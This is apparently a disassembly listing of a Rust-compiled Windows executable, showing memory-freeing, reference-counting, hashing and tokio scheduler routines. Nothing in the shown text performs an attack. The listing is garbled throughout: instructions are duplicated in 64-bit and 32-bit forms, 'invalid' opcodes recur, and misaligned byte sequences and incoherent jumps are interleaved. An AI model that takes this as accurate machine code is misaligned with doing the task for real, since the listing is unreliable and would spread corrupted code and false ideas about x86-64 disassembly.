mov qword [rsp + 0x30], rsi
jmp 0x1400970ca
xor cl, ch
or edi, ecx
invalid
xor r15d, r15d
mov qword [rsp + 0x30], rsi
jmp 0x1400970ca
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strmod.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
mov r9, r15
call fcn.1400aa670
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcindentation.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.1400aa670
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srcindentation.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
xor r8d, r8d
mov r9, r15
call fcn.1400aa670
ud2
ror dword [rax - 0x7d], 0xb8
clc
add byte [rax], al
add byte [rax], al
invalid
mov eax, pe_nt_image_headers64
add byte [rax], al
add byte [rbp + 5], dh
jne 0x14009784a
call fcn.140008690
invalid
dec dword [rbx + 0x61a7405]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
je 0x140097868
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0x100]
inc qword [rax + 0x100]
add byte [rcx], al
add byte [rax], al
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
pshufd xmm2, xmm0, 0xee
pxor xmm2, xmmword [0x1400b0630]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + 1], bh
mov esi, 1
mov eax, 1
lock xadd dword [0x1400f9060], eax
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x30]
sub al, 0x48
lea ecx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov r8d, 4
call fcn.1400166a0
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
ror byte [rax - 0x3f], 0xc0
or eax, 0x49c0314c
rol eax, 0x20
ror byte [rax - 0x3f], 0xc0
or eax, 0x49c0314c
rol eax, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rax, r8
xor rcx, rdx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
mov r8, rdx
ror byte [rcx - 0x3f], 1
shl byte [rax], 0x49
xor eax, eax
ror byte [rcx - 0x3f], 1
shl byte [rax], 0x49
xor eax, eax
xor r8, rcx
xor eax, ecx
xor r8, rdx
xor eax, edx
mov rax, r8
mov eax, eax
shr rax, 0x20
shr eax, 0x20
cmp r8d, 2
cmovae esi, r8d
mov edx, esi
add rsp, 0x80
pop rsi
ret
add eax, 0x7e9
add byte [rax], al
add bl, al
int3
mov rdi, qword [rcx]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x140097a58
lock dec qword [rax]
jne 0x140097a58
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.1400983c0
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x140097a74
lock dec qword [rax]
jne 0x140097a74
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.1400983c0
lea rcx, [rdi + 0xc0]
call fcn.14000b950
mov rax, qword [rdi + 0x170]
lock dec qword [rax]
jne 0x140097a9c
add rdi, 0x170
mov rcx, rdi
call fcn.140097eb0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140097ac2
lock dec qword [r8 + 8]
jne 0x140097ac2
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
add rbx, 0x10
dec r14
je 0x140097b3c
mov rax, qword [rbx - 8]
lock dec qword [rax]
je 0x140097b20
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x140097b00
jmp 0x140097b32
lea rcx, [rbx - 8]
call fcn.14000fd10
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x140097b00
mov rcx, rbx
call fcn.140097c60
jmp 0x140097b00
cmp qword [rdi + 0x68], 0
je 0x140097b56
mov r8, qword [rdi + 0x60]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi + 0xd8], 0
je 0x140097b76
mov r8, qword [rdi + 0xd0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x18892
sar bh, cl
adc eax, 0x18892
mov rbx, qword [rdi + 0x108]
mov r15, qword [rdi + 0x118]
test r15, r15
je 0x140097ba1
mov r14, rbx
nop dword [rax]
mov rcx, r14
call fcn.140097cb0
add r14, 8
dec r15
jne 0x140097b90
cmp qword [rdi + 0x110], 0
add dword [rax], eax
add byte [rax], al
je 0x140097bbd
adc cl, byte [rax - 0x75]
or eax, 0x61646
invalid
invalid
invalid
mov rcx, qword [0x1400f91f8]
invalid
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x140097bd9
lock dec qword [rax]
jne 0x140097bd9
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.1400983c0
mov rax, qword [rdi + 0x30]
test rax, rax
test eax, eax
test eax, eax
je 0x140097bf5
lock dec qword [rax]
dec dword [rax]
jne 0x140097bf5
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.1400983c0
retf
invalid
add byte [rax], al
retf
lea rcx, [rdi + 0x120]
call fcn.14000b950
mov rax, qword [rdi + 0x1d0]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x140097c1d
cmovs eax, dword [rcx + 0x1d0c7]
add byte [rax - 0x77], cl
mov ecx, edi
add rdi, 0x1d0
invalid
add byte [rax], al
mov rcx, rdi
mov ecx, edi
call fcn.140097eb0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140097c48
lock dec qword [r8 + 8]
jne 0x140097c48
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, dword [rax + 0x10]
call fcn.140098b00
invalid
add byte [rbx + rcx*4 + 6], cl
mov r8, qword [rsi]
mov eax, dword [rsi]
invalid
cmp r8, 0xffffffffffffffff
cmp eax, 0xffffffff
clc
push qword [rsp + rbx - 0x10]
sbb al, 0xf0
je 0x140097ca3
sbb al, 0xf0
lock dec qword [r8 + 8]
dec qword [r8 + 8]
dec dword [rax + 8]
jne 0x140097ca3
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
int3
push rdi
push rbx
sub rsp, 0x60
sub esp, 0x60
sub esp, 0x60
mov rsi, rcx
mov rdi, qword [rcx]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140097cef
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140097e46
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140097cef
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x73], cl
pop rdi
sbb byte [rax - 0x75], cl
add eax, 0x61596
lea rbx, [rdi + 0x18]
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne case.0x14007cc61.1207
mov rax, qword [rbx]
mov rax, qword [rax + 0x18]
mov r9, rax
ror dword [rcx - 0x3f], 0xe9
and byte [rcx + rcx*4 + 0x4c], al
mov dword [rsp + 0x20], ecx
sbb byte [rcx - 0x77], cl
ror dword [rcx - 0x3f], 0xe9
and byte [rcx + rcx*4 + 0x4c], al
mov dword [rsp + 0x20], ecx
jmp 0x18c92c137
mov dword [rsp + 0x20], ecx
and byte [rax - 0x75], cl
mov rdx, qword [rbx]
cmp dword [rdx + 0x20], eax
and byte [rdi], cl
invalid
invalid
add byte [rax], al
invalid
adc edi, dword [rcx]
and byte [rdi], cl
and byte [rdi], cl
and byte [rdi], cl
test byte [rax + 0x49000000], ah
movabs al, byte [0xb849000000]
add byte [rcx - 0x48], cl
movabs r8, 0xffffffff00000000
mov rcx, rax
mov ecx, eax
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
add bh, bh
invalid
invalid
mov ecx, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
lea r10d, [rax + 1]
mov dword [rsp + 0x24], r10d
cmp r9d, eax
jne 0x140097d70
mov eax, r10d
mov r9, rax
shl r9, 0x20
or r9, rax
ror dword [rax - 0x77], 0xc8
ror dword [rax - 0x77], 0xc8
lock cmpxchg qword [rdx + 0x18], r9
cmpxchg dword [rdx + 0x18], ecx
jne 0x140097d90
jmp 0x140097da9
add byte [rax], al
add byte [rbp + 0x39], al
retf 0x840f
invalid
invalid
cmp r10d, r9d
je 0x140097e20
add byte [rax], al
add byte [rcx + rcx*4 - 0x30], al
mov eax, r10d
mov r9, rcx
and r9, r8
or r9, rax
mov rax, rcx
mov eax, ecx
mov eax, ecx
lock cmpxchg qword [rdx + 0x18], r9
cmpxchg qword [rdx + 0x18], r9
sbb byte [rcx + r11 + 0x49], sil
mov ecx, eax
invalid
je 0x140097da9
sbb dword [rcx - 0x77], ecx
mov r9, rax
ror dword [rcx - 0x3f], 0xe9
and byte [rcx + rcx*4 + 0x4c], al
mov dword [rsp + 0x20], ecx
shr r9, 0x20
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x20], ecx
jmp 0x18c92c1ba
mov dword [rsp + 0x20], ecx
and byte [rax - 0x75], cl
mov rdx, qword [rbx]
mov rcx, rax
sar dword [rcx], 0x42
and byte [rbp - 0x67], dh
adc ecx, dword [rax - 0x77]
sar dword [rcx], 0x42
and byte [rbp - 0x67], dh
jmp 0x140097dc5
mov rdx, qword [rbx]
mov edx, dword [rbx]
movzx eax, cl
mov rcx, qword [rdx + 0x10]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x140097e60
lock dec qword [rdx]
jne 0x140097dd3
mov rcx, rbx
call fcn.14000fd10
mov rax, qword [rdi + 8]
test rax, rax
je 0x140097dee
lock dec qword [rax]
jne 0x140097dee
add rdi, 8
mov rcx, rdi
call fcn.140097c60
mov r8, qword [rsi]
mov rcx, qword [0x1400f91f8]
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
invalid
invalid
ror byte [rax - 0x7d], cl
add esp, 0x60
invalid
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
xchg byte [rcx], al
add al, ch
call fcn.1400ae5e0
test al, al
invalid
test ecx, esi
invalid
invalid
call fcn.1400ae5e0
add dword [rax], eax
test al, al
jne case.0x140074731.1042
mov rdx, qword [rbx]
lock dec qword [rdx]
je 0x140097dcb
jmp 0x140097dd3
mov qword [rsp + 0x30], 0
lea r9, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
lea ecx, [0x1400ecab0]
lea ecx, [0x1400ecab0]
add rax, 0x4c8d4800
lea rcx, [rsp + 0x20]
and al, 0x20
lea rdx, [rsp + 0x24]
lea edx, [rsp + 0x24]
lea r8, [rsp + 0x30]
call fcn.1400aebe0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400eda70]
mov edx, 0x27
call fcn.1400aa0a0
ud2
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
sub al, ch
invalid
call case.0x140098bd3.351
lea rax, str.queue_not_empty
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
shl byte [rbp + rax], cl
shl byte [rbp + rax], cl
add byte [rax - 0x77], cl
mov qword [rsp + 0x40], rax
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
and al, 0x48
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadqueue.rs
lea edx, [0x1400ecb38]
add rax, 0x4c8d4800
lea rcx, [rsp + 0x30]
and al, 0x30
call fcn.1400a9ee0
cmp al, 0x20
add dword [rax], eax
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
ud2
int3
int3
int3
int3
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx]
mov r15, qword [rdi + 0x60]
test r15, r15
je case.0x14007cc61.968
mov rbx, qword [rdi + 0x48]
mov rax, qword [rdi + 0x50]
mov r12, qword [rdi + 0x58]
xor ecx, ecx
cmp r12, rax
mov rdx, rax
cmovb rdx, rcx
sub r12, rdx
mov r13, rax
sub r13, r12
in eax, 0x4b
lea ebp, [rsp + rdi]
sub al, 0x3c
in eax, 0x4b
lea ebp, [rsp + rdi]
sub al, 0x3c
sub al, 0x3c
cmp r13, r15
cmovb rbp, rax
mov r14, r15
sub r14, r13
cmovb r14, rcx
sub rbp, r12
jne 0x14009807b
cmp r13, r15
jb 0x14009803d
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
invalid
jg 0x140097f6b
push rax
cmp qword [rdi + 0x50], 0
je 0x140097f31
invalid
push rax
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rdi + 0x48]
invalid
invalid
adc ecx, dword [rbx + rcx*4 + 0x47]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov r8, qword [rdi + 0x48]
mov rcx, qword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
adc al, byte [rsi]
add byte [rcx], dh
sar bh, cl
adc eax, 0x184d7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x98]
test rax, rax
je 0x140097f4f
lock dec qword [rax]
jne 0x140097f4f
lea rcx, [rdi + 0x98]
call fcn.1400980f0
mov rbx, qword [rdi + 0xa0]
test rbx, rbx
je 0x140097f93
mov rcx, qword [rdi + 0xb0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x140097f7a
or esi, dword [rbp + 0xc]
mov rcx, qword [rdi + 0xa0]
call fcn.14007a790
mov rax, qword [rdi + 0xa8]
lock dec qword [rax]
jne 0x140097f93
lea rcx, [rdi + 0xa8]
call fcn.140098190
lea rcx, [rdi + 0x68]
call case.0x140082493.727
mov rax, qword [rdi + 0x30]
lock dec qword [rax]
jne 0x140097fb3
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.1400983c0
mov rax, qword [rdi + 0xd0]
test rax, rax
je 0x140097fd8
lock dec qword [rax]
jne 0x140097fd8
mov rcx, qword [rdi + 0xd0]
mov rdx, qword [rdi + 0xd8]
call fcn.1400983c0
mov rax, qword [rdi + 0xe0]
test rax, rax
je 0x140097ffd
lock dec qword [rax]
jne 0x140097ffd
mov rcx, qword [rdi + 0xe0]
mov rdx, qword [rdi + 0xe8]
call fcn.1400983c0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x14009806a
lock dec qword [r8 + 8]
jne 0x14009806a
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add rbx, 0x10
dec r14
je case.0x14007cc61.968
mov rcx, qword [rbx]
mov rax, 0xffffffffffffff80
lock xadd qword [rcx], rax
cmp rax, 0x7f
jbe 0x1400980cc
and rax, 0xffffffffffffffc0
cmp rax, 0x80
jne 0x140098030
mov rcx, qword [rbx]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x140098030
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl r12, 4
add r12, rbx
jmp 0x14009809d
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
add r12, 0x10
dec rbp
dec ebp
invalid
dec ebp
je case.0x14007cc61.963
test byte [rcx - 2], dh
invalid
mov rcx, qword [r12]
mov rax, 0xffffffffffffff80
lock xadd qword [rcx], rax
cmp rax, 0x7f
jbe 0x1400980cc
and rax, 0xffffffffffffffc0
cmp rax, 0x80
jne 0x140098090
mov rcx, qword [r12]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x140098090
lea rcx, str.assertion_failed:_prev.ref_count_____2
lea r8, [0x1400edab0]
mov edx, 0x27
call fcn.1400aa0a0
ud2
sub esp, 0x28
mov rsi, qword [rcx]
mov rdx, qword [rsi + 0x10]
test rdx, rdx
je 0x140098158
mov rdi, rcx
mov rax, qword [rdx + 0x30]
nop dword [rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
test cl, 4
jne 0x14009813d
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x140098110
and ecx, 5
cmp ecx, 1
jne 0x14009813d
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140098155
lock dec qword [rax]
jne 0x140098155
mov rcx, qword [rsi + 0x10]
call fcn.14000fca0
mov rsi, qword [rdi]
cmp rsi, 0xffffffffffffffff
je 0x14009817e
lock dec qword [rsi + 8]
jne 0x14009817e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov edi, dword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x14009827b
lock dec qword [r8 + 8]
jne 0x14009827b
mov rcx, qword [0x1400f91f8]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
mov rax, qword [rcx + 8]
test rax, rax
je 0x1400983a2
mov rsi, rcx
mov rbx, qword [rcx + 0x18]
test rbx, rbx
je 0x140098369
lea eax, [r13 - 1]
and eax, r13d
mov r13d, eax
dec rbx
je 0x140098365
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
add r14, 0xfffffffffffffe00
add dh, bh
invalid
dec dword [rcx - 0x7d]
invalid
adc byte [rcx - 0x7f], al
std
invalid
inc dword [rax]
invalid
je 0x140098300
add dh, bh
invalid
dec dword [rcx - 0x7d]
invalid
not r13d
tzcnt eax, r13d
shl rax, 5
mov rdi, r14
sub rdi, rax
mov rcx, qword [rdi - 8]
call r12
mov rax, qword [rdi - 0x18]
call 0x14908cc2f
call 0x14908cc2f
jne 0x14009834a
mov rcx, qword [rdi - 0x18]
call fcn.14007a790
and al, 0xfe
invalid
and al, 0xfe
dec dword [rax - 0x75]
lock dec qword [rax]
mov rax, qword [rdi - 0x10]
lock dec qword [rax]
jne 0x1400982e0
add rdi, 0xfffffffffffffff0
mov rcx, rdi
call fcn.140098190
jmp 0x1400982e0
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
or byte [r8 - 0x7d], r9b
sti
or dword [rax + 8], edi
add byte [rax + 0xf], cl
ret
cmovae rax, rbx
add rcx, rax
add rcx, 0xf
mov rdx, rax
neg rdx
test rcx, rdx
je 0x140098436
cmp rax, 0x11
jb 0x14009841c
invalid
add al, 0x48
mov esi, dword [rsi - 8]
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
sub rsp, 0x20
mov rsi, rcx
mov esi, ecx
mov esi, ecx
add rcx, 0x80
mov edx, 0x2f
invalid
add byte [rax], 0
add byte [rax], al
add byte [rdx + 0x2f], bh
add al, ch
add byte [eax], al
add byte [rax], al
call case.0x140083cda.587
add byte [rax], al
add byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], dh
mov al, 0
add byte [rax], al
test rax, rax
mov rax, qword [rsi + 0xb0]
mov al, 0
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
sal byte [rdx + rcx + 0x48], 0x8b
invalid
je 0x14009846f
mov rcx, qword [rsi + 0xb8]
call qword [rax + 0x18]
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140098485
mov rcx, qword [rsi + 0xc8]
add byte [rax], al
call qword [rax + 0x18]
cmp rsi, 0xffffffffffffffff
cmp esi, 0xffffffff
je case.0x140083ded.597
lock dec qword [rsi + 8]
dec qword [rsi + 8]
dec dword [rsi + 8]
or byte [rbp + 0x19], dh
jne case.0x140083ded.597
mov r8, qword [rsi - 8]
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x60d5b
invalid
xor edx, edx
add rsp, 0x20
and byte [rsi + 0x48], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
and byte [rsi + 0x48], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
jg case.0x140083ded.597
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
invalid
invalid
invalid
and byte [rsi - 0x3d], bl
int3
pop rsi
ret
int3
int3
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
movaps xmmword [rsp + 0x230], xmm6
mov ah, 0x24
xor byte [rdx], al
add al, byte [rax]
invalid
in al, dx
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], esi
mov ah, 0x24
xor byte [rdx], al
add al, byte [rax]
invalid
mov ah, 0x24
xor byte [rdx], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rdi, rdx
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x228], 0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x18], cl
mov al, 0x4e
invalid
mov al, 0x4e
sbb byte [rdi], cl
jne 0x1400987a8
test dil, 5
je 0x14009853f
mov rax, qword [rsi + 0x30]
invalid
invalid
push rsi
jne 0x1400987a8
add byte [rax], al
test dil, 5
test bh, 5
je 0x14009853f
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsi + 0x30], 0
xor byte [rax], r8b
add byte [rax], al
invalid
cmp byte [rax - 0x39], cl
xor byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
je 0x14009853f
mov rcx, qword [rsp + 0x228]
cmp rcx, 0x20
jae case.0x140083a4f.266
iretd
add al, byte [rax]
add byte [rax], al
invalid
test rax, rax
je 0x14009853f
mov rcx, qword [rsp + 0x228]
cmp rcx, 0x20
jae case.0x140083a4f.266
iretd
add al, byte [rax]
add byte [rax], al
invalid
iretd
add byte [rax - 0x3f], cl
loope case.0x14007e3f3.669
shl rcx, 4
mov qword [rsp + rcx + 0x28], rax
mov qword [rsp + rcx + 0x30], rdx
push rsp
or al, 0x30
sub byte [rax - 0x77], cl
push rsp
or al, 0x30
inc qword [rsp + 0x228]
test dil, 0xa
je case.0x14007e3f3.535
mov rax, qword [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov edx, dword [rsi + 0x48]
mov edx, dword [rsi + 0x48]
mov qword [rsi + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
je case.0x14007e3f3.535
invalid
invalid
mov word [rax + rbp], fs
invalid
add byte [rax], al
test rax, rax
test eax, eax
je case.0x14007e3f3.535
mov rcx, qword [rsp + 0x228]
mov ecx, dword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax - 0x7d], cl
cmp rcx, 0x20
jae case.0x140083a4f.266
invalid
mov word [rdx], es
add byte [rax], al
stc
and byte [rdi], cl
or dword [rdx + rax - 0x3eb80000], 0xffffffe1
add al, 0x48
invalid
mov word [rdx], es
add byte [rax], al
add byte [rax - 0x3f], cl
shl rcx, 4
shl ecx, 4
loope case.0x14007e48a.508
mov qword [rsp + rcx + 0x28], rax
mov dword [rsp + rcx + 0x28], eax
or al, 0x28
sub byte [rax - 0x77], cl
mov qword [rsp + rcx + 0x30], rdx
mov dword [rsp + rcx + 0x30], edx
push rsp
or al, 0x30
invalid
xor byte [rax - 1], cl
inc qword [rsp + 0x228]
test byte [rax + rbp], ah
and al, 0x28
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
pop rsi
lea rbx, [rsi + 0x28]
lea r14, [rsp + 0x20]
sub byte [rbp + rcx*4 + 0x74], cl
and al, 0x20
xorps xmm6, xmm6
xor ebp, ebp
mov r15b, 1
cmp qword [rsp + 0x228], 0x1f
cmp dword [rsp + 0x228], 0x1f
add byte [rdi], bl
invalid
ja 0x1400986b0
invalid
add byte [rax - 0x75], cl
and bl, r13b
and bl, ch
mov rax, qword [rsi + 0x20]
jmp case.0x14007e3f3.514
and bl, ch
sbb cl, byte [rdi]
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
mov word [rax + rbp], fs
sub byte [rdx], al
invalid
add byte [rax], al
mov rcx, qword [rsp + 0x228]
mov ecx, dword [rsp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cmp rcx, 0x20
jae 0x1400986b0
sub esi, 0
add byte [rax], al
stc
and byte [rdi], cl
sub esi, 0
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
je 0x140098736
mov rcx, rax
mov rax, qword [rax + 8]
invalid
invalid
push rcx
add byte [rax], al
test rax, rax
test eax, eax
je 0x140098736
test byte [rbx + 1], ch
add byte [rax], al
mov rcx, rax
mov ecx, eax
mov rax, qword [rax + 8]
mov eax, dword [rax + 8]
mov rdx, qword [rcx + 0x20]
mov r8d, edx
rol byte [rcx - 0x7d], 1
loopne case.0x14007edf4.485
and byte [rcx - 0x77], al
rol byte [rcx - 0x7d], 1
loopne case.0x14007edf4.485
neg r8d
neg eax
and r8d, 5
and eax, 5
lea r9d, [r8 + 0xa]
mov r10d, edx
rol byte [rcx - 0x7d], cl
loop case.0x14008537a.508
or al, byte [rcx - 0x77]
rol byte [rcx - 0x7d], cl
loop case.0x14008537a.508
test dl, 2
cmove r9d, r8d
cmove ecx, eax
ret 0x4502
cmove ecx, eax
enter 0x945, 0xffffffffffffffd1
or r9d, r10d
test r9d, edi
test ecx, edi
je case.0x14007e3f3.514
mov rdx, qword [rcx]
mov edx, dword [rcx]
test rdx, rdx
test edx, edx
je 0x140098620
mov qword [rdx + 8], rax
mov rdx, qword [rcx + 8]
push rcx
or byte [rax - 0x7b], cl
test edx, edx
test edx, edx
jne case.0x14007edf4.482
invalid
jmp 0x140098636
cmp qword [rsi + 0x20], rcx
jne 0x140098736
test dword [rcx + rax], ecx
add byte [rax], al
test dword [rcx + rax], ecx
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsi + 0x20], rax
invalid
invalid
mov qword [rsi + 0x20], rax
and byte [rax - 0x77], cl
mov rdx, rax
mov edx, eax
ret 0x8548
test rdx, rdx
test edx, edx
